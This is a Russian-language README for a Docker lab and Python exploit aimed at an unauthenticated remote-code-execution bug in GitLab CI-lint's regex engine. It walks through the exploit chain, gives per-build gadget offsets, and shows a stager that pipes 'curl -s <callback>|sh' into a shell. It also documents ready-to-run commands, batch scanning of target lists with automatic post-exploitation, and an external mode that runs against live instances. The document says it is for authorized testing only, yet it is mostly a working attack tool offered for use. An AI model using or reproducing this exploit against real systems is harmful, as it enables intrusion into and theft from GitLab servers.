
Docker-лаборатория и Python-эксплойт для CVE-2026-97229 — неаутентифицированное целочисленное переполнение в регулярных выражениях Onigmo в GitLab CI-lint, приводящее к RCE, с зондированием, выводом структуры памяти и постэксплуатацией.
Только авторизованное тестирование. Используйте это против систем, которыми вы владеете или которые вам явно разрешено тестировать (область bug-bounty, клиентский проект, ваша собственная лаборатория). Неавторизованное использование незаконно.
Неаутентифицированный запрос CI-lint, который повреждает матчер Onigmo и перенаправляет выполнение на
гаджет system() внутри libruby.so:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
Финальный запрос не требует аутентификации, но размещение вредоносной конфигурации CI требует прав на запись в публичный проект (или в экземпляр, который допускает самостоятельную регистрацию и публичные проекты).
| Пункт | Значение |
|---|---|
| Затронутые (протестированные) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| Не эксплуатируемые | 19.2.8, 19.3.4 (исключение, см. ниже), 19.3.5, 19.4.2; для 19.2.3 нет образа CE |
| Триггер | неаутентифицированный GET /api/v4/projects/:id/ci/lint |
| Предварительные условия | доступность + права на запись в публичный проект (токен, скомпрометированная учётная запись или открытая регистрация) |
| Воздействие | выполнение команд от имени git (uid 998) внутри контейнера GitLab |
| Ограничения PoC | сборки x86_64; поведение зависит от сборки libruby.so, а не от строки версии |
| Границы рекомендаций | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
19.3.4 указана как затронутая в рекомендациях, но её встроенная
libruby.soникогда не попадает в уязвимый путь раскрытия — нам не удалось её вооружить (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Ожидаемая последняя строка:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
Без облачного аккаунта и без SSH: лаборатория представляет собой обычный Docker (локальный демон, DOCKER_HOST или docker context).
В Docker Desktop добавьте --callback-host host.docker.internal.
include.rules.exists.regexp вместе с путём репозитория длиной 110 байт.{5(?#)7805}, чтобы защита от повторов на стороне Rails (REPEAT_MAX=1000) его не заметила.call и смещение system@plt, перенаправляя виртуальную машину.curl -s <callback>|sh, дающий шелл от имени сервисного пользователя git../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
Лаунчер применяет настройки памяти, необходимые для эксплойта (sidekiq off, один воркер Puma, небольшие буферы Postgres, --memory 6.5g --shm-size 256m), ожидает готовности UI и устанавливает пароль root.
См. lab/README.md / lab/README_CN.md.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| Поле | Значение |
|---|---|
http | статус GET /users/sign_in |
version | версия GitLab, считанная из контейнера (null без доступа к контейнеру) |
class | классификация по бюллетеню: affected / patched / not-listed / unknown |
libruby_md5 | идентификатор сборки libruby.so целевого контейнера |
layout | finish / gadget / step (только если сборка известна или выводима) |
exploitable | доступна ли раскладка; class=affected не подразумевает это |
layout_source | table, derived или no-overflow-in-build |
class: "unknown" просто означает, что информация о контейнере/версии недоступна — для цели, заданной только URL,
инструмент не может классифицировать или вывести раскладку. См. «Внешние цели» ниже.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
Критерий успеха: lint имеет значение dropped(HTTPError) или http(502), а output начинается с
uid=998(git). Ответ 200 с valid:true означает, что сборка не уязвима.
| Ветка | Уязвима | Исправлена / не уязвима |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; для 19.2.3 нет образа CE |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (сопоставитель никогда не раскрывается), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
Доказательства по каждой сборке: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container обязателен для текущего пути эксплуатации (libruby/layout + rails runner); layout — необязательный
параметр переопределения для сборок, которые инструмент не может прочитать.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
Для каждой цели по порядку: probe → exploit → при RCE post-exploitation
(exploit/post/collect.sh; переопределяется через --post-command-file, отключается через --no-post).
--probe-only останавливается после фингерпринтинга. Код выхода 0, если хотя бы одна цель дала RCE.
Payload требует три константы для каждой сборки (гаджет finish, system@plt, шаг UTF-8). Порядок разрешения:
layout (0x… 0x… 12345);libruby.so контейнера через exploit/layout.py.Все известные уязвимые сборки используют только два layout: 0x486DA9/0x31EE29/1249885 и
0x4885A9/0x31E809/1256138.
--mode external требует только HTTP и PAT (область api): он создаёт публичный проект через API,
отправляет изменения с oauth2:<token>, запускает неаутентифицированный lint и затем удаляет проект.
python3 exploit/cve97229.py --mode external --targets scope.csv \
--token glpat-... --scope scope.txt --authorized \
--callback-host 203.0.113.10 --callback-port 80